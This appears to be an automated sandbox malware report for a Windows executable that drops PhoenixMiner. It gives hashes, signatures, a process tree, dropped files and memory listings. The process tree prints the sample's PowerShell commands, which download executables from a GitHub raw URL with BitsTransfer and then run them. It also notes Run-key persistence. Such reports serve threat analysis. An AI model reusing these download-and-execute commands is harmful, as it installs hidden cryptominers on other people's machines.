Analysis

  • max time kernel
    51s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10-20220414-en
  • resource tags

    arch:x64arch:x86image:win10-20220414-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01-08-2022 02:28

General

  • Target

    3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe

  • Size

    8.3MB

  • MD5

    9ed9ad87a1564fbb5e1b652b3e7148c8

  • SHA1

    0c001b7e9615cbc22eac2a324d8deb7eaf069ff7

  • SHA256

    3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89

  • SHA512

    e49e403a73ff1d10111d23cc70ae95ffae63abbc4a52cfc52c447ee9f15e76ab44f07d0f41e3b3e63a73a07e7748b8ac7ed8c997f1051a10ca5fad1dace4183a

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://raw.githubusercontent.com/jkh36/d/main/bild.exe

exe.dropper

https://raw.githubusercontent.com/jkh36/d/main/PhoenixMiner.exe

Signatures

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe
    "C:\Users\Admin\AppData\Local\Temp\3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:808
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exe"
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:1184
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command Import-Module BitsTransfer; Start-BitsTransfer -Source https://raw.githubusercontent.com/jkh36/d/main/bild.exe,https://raw.githubusercontent.com/jkh36/d/main/PhoenixMiner.exe -Destination lWr.exe,ck.exe;
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4352
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command Start-Process lWr.exe; Start-Process ck.exe;
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3280

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    6ed4b3d25a6f22e8dcef5167080ceb75

    SHA1

    b953ecc8de151b85f0b64784235a924b609582ca

    SHA256

    d4e932b7151d03a034cc4c0567082d2390fc791dc95b2a4d9a0623acbf4d2384

    SHA512

    80ef5c4be3611238fb1f15561fd1ae8101482e8b94897be141a0d9728851bc6edf3c497a619acef7ff481a5e45b24df5584b32979d9006cc2c1e61fd2aed9d9b

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    19KB

    MD5

    6236fd33161d3adc15818a2139ba0136

    SHA1

    bc1b5b7c115a2f8eee9cb564c1287bc66ad820c3

    SHA256

    5f725b68c7b28636ac2916362ac6f5d06e8615d77a2d7e99d47646911e7469c1

    SHA512

    1a778471208462bfa0457e72b9511729196d669302965b6ecf78eec0b1e6aa5ac404db4a4de8350f3c1ecf1cdc5ac2244746de636449b46572cc517501a001d6

  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exe

    Filesize

    8.2MB

    MD5

    c74ab76362f2321b7143e8ba2517c16b

    SHA1

    6b4c65e2b1ba59d155c5d453285fae4d3e52b2a6

    SHA256

    938cb901511ceac91acd8b1eaadabd01688852ed1121250b1c5e587f9ee0512f

    SHA512

    2a506ba53d4dc837bfabee920617fddc2152fb0a474f6a197086c6ce1aadf7b1f1bc64e8d27b9759cdd567675273c99f6af29c61e9a6c5184171336a1a869a17

  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exe

    Filesize

    8.2MB

    MD5

    c74ab76362f2321b7143e8ba2517c16b

    SHA1

    6b4c65e2b1ba59d155c5d453285fae4d3e52b2a6

    SHA256

    938cb901511ceac91acd8b1eaadabd01688852ed1121250b1c5e587f9ee0512f

    SHA512

    2a506ba53d4dc837bfabee920617fddc2152fb0a474f6a197086c6ce1aadf7b1f1bc64e8d27b9759cdd567675273c99f6af29c61e9a6c5184171336a1a869a17

  • memory/808-142-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-150-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-126-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-127-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-128-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-129-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-131-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-132-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-133-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-130-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-134-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-135-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-136-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-137-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-138-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-139-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-140-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-169-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-118-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-143-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-144-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-145-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-146-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-147-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-148-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-149-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-167-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-151-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-152-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-153-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-154-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-155-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-156-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-157-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-158-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-159-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-161-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-160-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-162-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-163-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-164-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-165-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-176-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-124-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-141-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-168-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-170-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-171-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-172-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-173-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-174-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-175-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-166-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-177-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-178-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-179-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-180-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-181-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-182-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-183-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-119-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-123-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-121-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/808-120-0x0000000077450000-0x00000000775DE000-memory.dmp

    Filesize

    1.6MB

  • memory/1184-185-0x0000000000000000-mapping.dmp

  • memory/3280-410-0x0000000000000000-mapping.dmp

  • memory/3280-505-0x0000000009820000-0x00000000098C5000-memory.dmp

    Filesize

    660KB

  • memory/3280-711-0x0000000009960000-0x000000000997A000-memory.dmp

    Filesize

    104KB

  • memory/3280-496-0x00000000096D0000-0x00000000096EE000-memory.dmp

    Filesize

    120KB

  • memory/3280-495-0x00000000096F0000-0x0000000009723000-memory.dmp

    Filesize

    204KB

  • memory/3280-716-0x0000000009950000-0x0000000009958000-memory.dmp

    Filesize

    32KB

  • memory/4352-295-0x0000000007850000-0x00000000078B6000-memory.dmp

    Filesize

    408KB

  • memory/4352-396-0x00000000094F0000-0x0000000009502000-memory.dmp

    Filesize

    72KB

  • memory/4352-320-0x0000000009250000-0x0000000009272000-memory.dmp

    Filesize

    136KB

  • memory/4352-301-0x0000000007F20000-0x0000000007F6B000-memory.dmp

    Filesize

    300KB

  • memory/4352-318-0x0000000009280000-0x0000000009314000-memory.dmp

    Filesize

    592KB

  • memory/4352-293-0x0000000007130000-0x0000000007152000-memory.dmp

    Filesize

    136KB

  • memory/4352-300-0x0000000007980000-0x000000000799C000-memory.dmp

    Filesize

    112KB

  • memory/4352-305-0x0000000008260000-0x00000000082D6000-memory.dmp

    Filesize

    472KB

  • memory/4352-270-0x0000000006A50000-0x0000000006A86000-memory.dmp

    Filesize

    216KB

  • memory/4352-230-0x0000000000000000-mapping.dmp

  • memory/4352-275-0x0000000007220000-0x0000000007848000-memory.dmp

    Filesize

    6.2MB

  • memory/4352-297-0x0000000007B60000-0x0000000007EB0000-memory.dmp

    Filesize

    3.3MB

  • memory/4352-296-0x0000000007AA0000-0x0000000007B06000-memory.dmp

    Filesize

    408KB

  • memory/4352-319-0x0000000009200000-0x000000000921A000-memory.dmp

    Filesize

    104KB

  • memory/4352-321-0x0000000009820000-0x0000000009D1E000-memory.dmp

    Filesize

    5.0MB

  • memory/4352-362-0x0000000009360000-0x0000000009380000-memory.dmp

    Filesize

    128KB